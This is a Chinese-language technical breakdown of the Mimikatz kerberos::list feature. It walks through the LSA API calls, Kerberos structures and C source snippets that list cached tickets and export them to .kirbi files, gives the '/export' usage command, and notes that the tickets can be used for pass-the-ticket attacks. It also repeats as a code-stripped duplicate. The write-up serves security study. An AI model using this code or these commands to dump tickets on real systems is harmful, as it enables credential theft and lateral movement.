Mimikatz Explorer - Kerberos List
字数 1053 2025-08-06 12:21:02

Mimikatz Kerberos::List 功能深度解析

功能概述

Mimikatz 的 kerberos::list 功能可以从当前主机的缓存中列出并转储 Kerberos 票据。该功能通过 Windows LSA (Local Security Authority) API 与 Kerberos 身份验证包通信,实现票据的查询和导出。

核心 API 解析

1. LSA 连接相关函数

LsaConnectUntrusted

NTSTATUS LsaConnectUntrusted([out] PHANDLE LsaHandle);
  • 与 LSA 服务器建立不受信任的连接
  • 不验证调用方信息
  • 返回的句柄用于后续身份验证服务调用

LsaLookupAuthenticationPackage

NTSTATUS LsaLookupAuthenticationPackage(
    [in] HANDLE LsaHandle,
    [in] PLSA_STRING PackageName,
    [out] PULONG AuthenticationPackage
);
  • 获取身份验证包的唯一标识符
  • 重要参数:
    • PackageName: 可指定为 MICROSOFT_KERBEROS_NAME_A (Kerberos 包)
    • AuthenticationPackage: 返回的包标识符

LsaCallAuthenticationPackage

NTSTATUS LsaCallAuthenticationPackage(
    [in] HANDLE LsaHandle,
    [in] ULONG AuthenticationPackage,
    [in] PVOID ProtocolSubmitBuffer,
    [in] ULONG SubmitBufferLength,
    [out] PVOID *ProtocolReturnBuffer,
    [out] PULONG ReturnBufferLength,
    [out] PNTSTATUS ProtocolStatus
);
  • 与身份验证包通信的主要函数
  • 通过不同的消息类型执行不同操作

2. Kerberos 协议消息类型

typedef enum _KERB_PROTOCOL_MESSAGE_TYPE {
    KerbDebugRequestMessage = 0,
    KerbQueryTicketCacheMessage,
    KerbChangeMachinePasswordMessage,
    KerbVerifyPacMessage,
    KerbRetrieveTicketMessage,
    KerbUpdateAddressesMessage,
    KerbPurgeTicketCacheMessage,
    KerbChangePasswordMessage,
    KerbRetrieveEncodedTicketMessage,  // 用于检索编码票据
    KerbDecryptDataMessage,
    KerbAddBindingCacheEntryMessage,
    KerbSetPasswordMessage,
    KerbSetPasswordExMessage,
    KerbQueryTicketCacheExMessage,     // 用于查询票据缓存
    // ... 其他消息类型
} KERB_PROTOCOL_MESSAGE_TYPE;

关键数据结构

1. 票据查询请求结构

typedef struct _KERB_QUERY_TKT_CACHE_REQUEST {
    KERB_PROTOCOL_MESSAGE_TYPE MessageType;  // 设置为 KerbQueryTicketCacheExMessage
    LUID LogonId;                           // 登录会话ID,0表示当前用户
} KERB_QUERY_TKT_CACHE_REQUEST;

2. 票据查询响应结构

typedef struct _KERB_QUERY_TKT_CACHE_EX_RESPONSE {
    KERB_PROTOCOL_MESSAGE_TYPE MessageType;
    ULONG CountOfTickets;                   // 票据数量
    KERB_TICKET_CACHE_INFO_EX Tickets[ANYSIZE_ARRAY]; // 票据信息数组
} KERB_QUERY_TKT_CACHE_EX_RESPONSE;

typedef struct _KERB_TICKET_CACHE_INFO_EX {
    UNICODE_STRING ClientName;     // 客户端名称
    UNICODE_STRING ClientRealm;    // 客户端领域
    UNICODE_STRING ServerName;     // 服务名称
    UNICODE_STRING ServerRealm;    // 服务领域
    LARGE_INTEGER StartTime;      // 票据生效时间
    LARGE_INTEGER EndTime;        // 票据过期时间
    LARGE_INTEGER RenewTime;      // 可续订截止时间
    LONG EncryptionType;          // 加密类型
    ULONG TicketFlags;            // 票据标志位
} KERB_TICKET_CACHE_INFO_EX;

3. 票据检索请求结构

typedef struct _KERB_RETRIEVE_TKT_REQUEST {
    KERB_PROTOCOL_MESSAGE_TYPE MessageType;  // 设置为 KerbRetrieveEncodedTicketMessage
    LUID LogonId;                           // 登录会话ID
    UNICODE_STRING TargetName;              // 目标服务名称
    ULONG TicketFlags;                      // 票据标志
    ULONG CacheOptions;                     // 缓存选项
    LONG EncryptionType;                    // 加密类型
    SecHandle CredentialsHandle;            // 凭据句柄
} KERB_RETRIEVE_TKT_REQUEST;

4. 票据检索响应结构

typedef struct _KERB_RETRIEVE_TKT_RESPONSE {
    KERB_EXTERNAL_TICKET Ticket;  // 包含实际票据数据
} KERB_RETRIEVE_TKT_RESPONSE;

typedef struct _KERB_EXTERNAL_TICKET {
    // ... 其他字段
    ULONG EncodedTicketSize;      // 编码票据大小
    PUCHAR EncodedTicket;         // ASN.1编码的票据数据
} KERB_EXTERNAL_TICKET;

功能实现流程

1. 初始化阶段

NTSTATUS kuhl_m_kerberos_init() {
    NTSTATUS status = LsaConnectUntrusted(&g_hLSA);
    if(NT_SUCCESS(status)) {
        status = LsaLookupAuthenticationPackage(g_hLSA, 
                                              &kerberosPackageName, 
                                              &g_AuthenticationPackageId_Kerberos);
        g_isAuthPackageKerberos = NT_SUCCESS(status);
    }
    return status;
}

2. 列出票据流程

  1. 构造查询请求:

    KERB_QUERY_TKT_CACHE_REQUEST kerbCacheRequest = {
        KerbQueryTicketCacheExMessage, 
        {0, 0}  // 当前用户
    };
    
  2. 调用 LSA API 查询票据:

    status = LsaCallKerberosPackage(&kerbCacheRequest, 
                                   sizeof(KERB_QUERY_TKT_CACHE_REQUEST),
                                   (PVOID*)&pKerbCacheResponse, 
                                   &szData, 
                                   &packageStatus);
    
  3. 解析并显示票据信息:

    for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++) {
        // 显示加密类型、时间信息、服务名、客户端名等
        kprintf(L"\n[%08x] - 0x%08x - %s", i, 
                pKerbCacheResponse->Tickets[i].EncryptionType,
                kuhl_m_kerberos_ticket_etype(pKerbCacheResponse->Tickets[i].EncryptionType));
        // ... 其他信息显示
    }
    

3. 导出票据流程

  1. 构造检索请求:

    szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + 
             pKerbCacheResponse->Tickets[i].ServerName.MaximumLength;
    pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc(LPTR, szData);
    
    pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
    pKerbRetrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED;
    pKerbRetrieveRequest->TargetName = pKerbCacheResponse->Tickets[i].ServerName;
    
  2. 调用 LSA API 检索票据:

    status = LsaCallKerberosPackage(pKerbRetrieveRequest, 
                                   szData,
                                   (PVOID*)&pKerbRetrieveResponse, 
                                   &szData, 
                                   &packageStatus);
    
  3. 保存票据数据:

    filename = kuhl_m_kerberos_generateFileName(i, 
                &pKerbCacheResponse->Tickets[i], 
                MIMIKATZ_KERBEROS_EXT);
    kull_m_file_writeData(filename, 
                         pKerbRetrieveResponse->Ticket.EncodedTicket,
                         pKerbRetrieveResponse->Ticket.EncodedTicketSize);
    

票据标志位解析

票据标志位通过位移和与运算进行解析:

const PCWCHAR TicketFlagsToStrings[] = {
    L"name_canonicalize", L"?", L"ok_as_delegate", L"?",
    L"hw_authent", L"pre_authent", L"initial", L"renewable",
    L"invalid", L"postdated", L"may_postdate", L"proxy",
    L"proxiable", L"forwarded", L"forwardable", L"reserved"
};

void kuhl_m_kerberos_ticket_displayFlags(ULONG flags) {
    DWORD i;
    for(i = 0; i < ARRAYSIZE(TicketFlagsToStrings); i++)
        if((flags >> (i + 16)) & 1)
            kprintf(L"%s ; ", TicketFlagsToStrings[i]);
}

重要标志位包括:

  • renewable: 票据可续订
  • forwardable: 票据可转发
  • proxiable: 票据可代理
  • ok_as_delegate: 可用于委托

实际应用示例

1. 列出当前票据

mimikatz # kerberos::list

2. 导出所有票据

mimikatz # kerberos::list /export

导出的票据文件命名格式为:

{索引}-{标志位}-{客户端名}@{服务名}-{服务领域}.kirbi

技术要点总结

  1. 通过 LSA API 与 Kerberos SSP 交互是 Mimikatz 操作票据的核心
  2. KerbQueryTicketCacheExMessage 用于查询票据缓存信息
  3. KerbRetrieveEncodedTicketMessage 用于获取票据的 ASN.1 编码数据
  4. 票据标志位揭示了票据的安全属性和使用限制
  5. 导出的 .kirbi 文件包含完整的 Kerberos 票据,可用于票据传递攻击

理解这些底层机制对于防御 Kerberos 相关攻击和进行红队操作都至关重要。

Mimikatz Kerberos::List 功能深度解析 功能概述 Mimikatz 的 kerberos::list 功能可以从当前主机的缓存中列出并转储 Kerberos 票据。该功能通过 Windows LSA (Local Security Authority) API 与 Kerberos 身份验证包通信,实现票据的查询和导出。 核心 API 解析 1. LSA 连接相关函数 LsaConnectUntrusted 与 LSA 服务器建立不受信任的连接 不验证调用方信息 返回的句柄用于后续身份验证服务调用 LsaLookupAuthenticationPackage 获取身份验证包的唯一标识符 重要参数: PackageName : 可指定为 MICROSOFT_KERBEROS_NAME_A (Kerberos 包) AuthenticationPackage : 返回的包标识符 LsaCallAuthenticationPackage 与身份验证包通信的主要函数 通过不同的消息类型执行不同操作 2. Kerberos 协议消息类型 关键数据结构 1. 票据查询请求结构 2. 票据查询响应结构 3. 票据检索请求结构 4. 票据检索响应结构 功能实现流程 1. 初始化阶段 2. 列出票据流程 构造查询请求: 调用 LSA API 查询票据: 解析并显示票据信息: 3. 导出票据流程 构造检索请求: 调用 LSA API 检索票据: 保存票据数据: 票据标志位解析 票据标志位通过位移和与运算进行解析: 重要标志位包括: renewable : 票据可续订 forwardable : 票据可转发 proxiable : 票据可代理 ok_as_delegate : 可用于委托 实际应用示例 1. 列出当前票据 2. 导出所有票据 导出的票据文件命名格式为: 技术要点总结 通过 LSA API 与 Kerberos SSP 交互是 Mimikatz 操作票据的核心 KerbQueryTicketCacheExMessage 用于查询票据缓存信息 KerbRetrieveEncodedTicketMessage 用于获取票据的 ASN.1 编码数据 票据标志位揭示了票据的安全属性和使用限制 导出的 .kirbi 文件包含完整的 Kerberos 票据,可用于票据传递攻击 理解这些底层机制对于防御 Kerberos 相关攻击和进行红队操作都至关重要。